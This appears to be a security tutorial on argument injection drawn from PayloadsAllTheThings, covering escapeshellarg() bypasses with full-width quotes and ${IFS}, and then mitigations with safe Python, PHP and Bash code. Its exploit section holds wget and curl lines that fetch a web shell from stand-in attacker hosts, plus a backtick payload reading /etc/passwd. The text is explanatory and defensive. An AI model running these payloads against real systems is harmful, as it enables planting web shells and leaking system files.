Exploiting Argument Injection in Command Execution: Techniques from PayloadsAllTheThings
Argument injection allows attackers to execute arbitrary commands by manipulating individual command-line arguments rather than the full command string, bypassing sanitization functions like escapeshellarg() through Unicode manipulation and shell variable abuse.
The swisskyrepo/PayloadsAllTheThings repository documents practical methods for exploiting argument injection vulnerabilities, demonstrating how attackers abuse Unicode full-width characters and Internal Field Separator (IFS) variables to defeat security controls. Understanding these techniques is essential for developers securing applications that execute shell commands with user-supplied input.
What Is Argument Injection?
Argument injection is a subset of command injection where the attacker controls individual arguments passed to a program rather than injecting a complete command string. When vulnerable code concatenates untrusted data into a command line without proper quoting or escaping, malicious arguments—such as extra flags, file redirects, or sub-commands—can alter program behavior arbitrarily.
According to the PayloadsAllTheThings source code, this vulnerability class exploits the assumption that a single input maps to a single argument. As implemented in Command Injection/README.md#L122, attackers use the worstfit technique with Unicode full-width characters to break out of quoted contexts while the sanitization function still treats the input as a single argument.
Why Argument Injection Bypasses Traditional Defenses
Traditional sanitization methods often fail against argument injection because they focus on blocking command separators while ignoring argument-level manipulation.
Defeating escapeshellarg()
PHP's escapeshellarg() function is commonly defeated by full-width quoting techniques. The repository demonstrates that Unicode full-width double quotes (U+FF02) can close intended quote strings while the parser still sees valid delimiters, allowing injection of additional flags.
IFS-Based Space Bypasses
The Internal Field Separator (IFS) variable allows injection of whitespace without literal space characters. By using ${IFS} syntax, attackers can separate arguments in contexts where space characters are filtered, effectively bypassing naive input validation.
Common Attack Patterns
The PayloadsAllTheThings repository identifies several high-impact argument injection vectors:
-
Full-width quote injection: Exploiting Unicode full-width double quotes to break out of quoted arguments while
escapeshellarg()treats them as part of the string. -
File redirection abuse: Supplying output flags like
-oor>to write attacker-controlled data to arbitrary files, such as injecting-o webshell.phpinto acurlcommand to plant a PHP web shell. -
Command substitution via backticks: Inserting backtick-wrapped commands (
`command`) or$(...)syntax causes the shell to execute embedded commands and substitute their output, enabling data exfiltration.
Practical Exploit Examples
The following examples demonstrate real-world argument injection scenarios documented in the repository.
Full-Width Quote Bypass in PHP
Consider vulnerable code that concatenates user input into a wget command:
<?php
// Vulnerable code from PayloadsAllTheThings examples
$url = "https://example.tld/" . $_GET['path'] . ".txt";
system("wget.exe -q " . escapeshellarg($url));
?>
Attack Payload:
GET /vuln.php?path=“%20--use-askpass=calc%20”
The payload uses full-width double quotes (U+FF02) to break out of the quoted argument. While escapeshellarg() treats the entire string as a single argument, the shell interprets the full-width quotes as string delimiters, causing --use-askpass=calc to be processed as a separate flag.
IFS-Based Space Bypass
In shell contexts where spaces are restricted, the ${IFS} variable expands to a space character at runtime:
# Vulnerable wrapper
wget -q $url
Attack Command:
wget${IFS}http://attacker.com/shell.php${IFS}-O${IFS}webshell.php
This injects three separate arguments (http://attacker.com/shell.php, -O, and webshell.php) without using literal space characters, causing wget to save the downloaded payload as a web-accessible file.
cURL File Write via Redirection
curl http://evil.attacker.com/ -o webshell.php
By injecting the -o flag followed by a filename, attackers direct curl to write the HTTP response body to webshell.php, effectively delivering a web shell without command execution.
Backticks for Data Exfiltration
original_cmd_by_server `cat /etc/passwd`
When injected as an argument, backticks trigger command substitution, embedding the contents of /etc/passwd into the original command and leaking sensitive credentials to the attacker.
Mitigation Strategies
Effective defense against argument injection requires eliminating shell interpretation and strict input validation.
Avoid Shell Invocation
Use language-specific APIs that execute commands directly without invoking a shell interpreter. In Python, use subprocess.run() with shell=False; in PHP, use proc_open() with array arguments rather than string concatenation.
Strict Input Whitelisting
Accept only known-good argument values from an allow-list. Validate that user input matches expected patterns (e.g., alphanumeric filenames only) before passing to command execution functions.
Unicode Normalization
Normalize input to NFC form and reject non-ASCII characters, particularly full-width punctuation marks (U+FF02, U+FF07) that can interfere with quoting mechanisms.
Secure IFS Handling
In Bash scripts, explicitly set IFS=$' \t\n' before processing user data, or use arrays to store command arguments, preventing word splitting attacks:
# Safe approach using arrays
cmd=(wget -q "$user_input")
"${cmd[@]}"
Secure Implementation Examples
Python: Safe Subprocess Execution
import subprocess
def download(url):
# Validate URL schema strictly
if not url.startswith(('http://', 'https://')):
raise ValueError('Invalid URL scheme')
# Execute without shell interpretation
subprocess.run(['wget', '-q', url], check=True, shell=False)
# Usage
download('https://example.com/file.txt')
PHP: Avoiding system() and escapeshellarg()
<?php
$path = $_GET['path'] ?? '';
// Whitelist allowed filenames
$allowed = ['report1', 'report2', 'data'];
if (!in_array($path, $allowed, true)) {
die('Invalid path specified');
}
// Use array syntax to avoid shell parsing
$cmd = ['wget', '-q', "https://example.tld/{$path}.txt"];
$process = proc_open($cmd, [], $pipes);
proc_close($process);
?>
Bash: Array-Based Command Construction
#!/usr/bin/env bash
# Reset IFS to safe default
IFS=$' \t\n'
url="${1:?Error: Missing URL argument}"
# Use array to prevent word splitting
cmd=(wget -q "$url")
"${cmd[@]}"
Summary
Argument injection exploits the boundary between single arguments and command execution by manipulating quoting, whitespace encoding, and redirection flags. Key defensive measures include:
- Never concatenate user input into shell command strings; use array-based argument passing and
shell=Falseequivalents - Reject or normalize Unicode input, specifically full-width quotes that bypass
escapeshellarg()and similar functions - Disable shell interpretation by using
proc_open(),subprocess.run(), or equivalent APIs that accept argument arrays - Implement strict allow-lists for any values passed as command arguments, permitting only known-good patterns
- Handle
${IFS}and whitespace carefully in shell scripts by resetting IFS and using quoted array expansions
Frequently Asked Questions
How does argument injection differ from traditional command injection?
Traditional command injection typically exploits command separators (;, &&, ||) to append arbitrary commands, while argument injection manipulates the arguments themselves to change program behavior. As documented in the PayloadsAllTheThings Command Injection/README.md, argument injection can succeed even when command separators are filtered, because the attacker injects flags, filenames, or substitution syntax rather than separate commands.
Can escapeshellarg() prevent argument injection attacks?
No, escapeshellarg() alone cannot prevent argument injection. The PayloadsAllTheThings repository demonstrates that full-width Unicode quotes (U+FF02) can defeat this function by closing the intended quote context while the function still treats the input as a single argument. Additionally, escapeshellarg() does not protect against injection of flags (like -o file) or ${IFS} whitespace bypasses.
What is the ${IFS} technique in argument injection?
${IFS} exploits the Internal Field Separator shell variable, which typically contains a space, tab, and newline. When referenced as ${IFS} in a command line, it expands to these whitespace characters at runtime. Attackers use this to inject argument separators without using literal space characters, bypassing filters that check for spaces but ignore shell variable syntax.
How can I safely execute commands with user-supplied filenames?
Use language-specific APIs that bypass shell interpretation entirely. In Python, pass arguments as lists to subprocess.run() with shell=False. In PHP, use proc_open() with array arguments rather than system() or exec(). Validate filenames against strict allow-lists permitting only alphanumeric characters, and avoid passing user input to interpreters that perform wildcard expansion or variable substitution.
Have a question about this repo?
These articles cover the highlights, but your codebase questions are specific. Give your agent direct access to the source. Share this with your agent to get started:
curl -s "https://instagit.com/install.md" Maintain an open-source project? Get it listed too →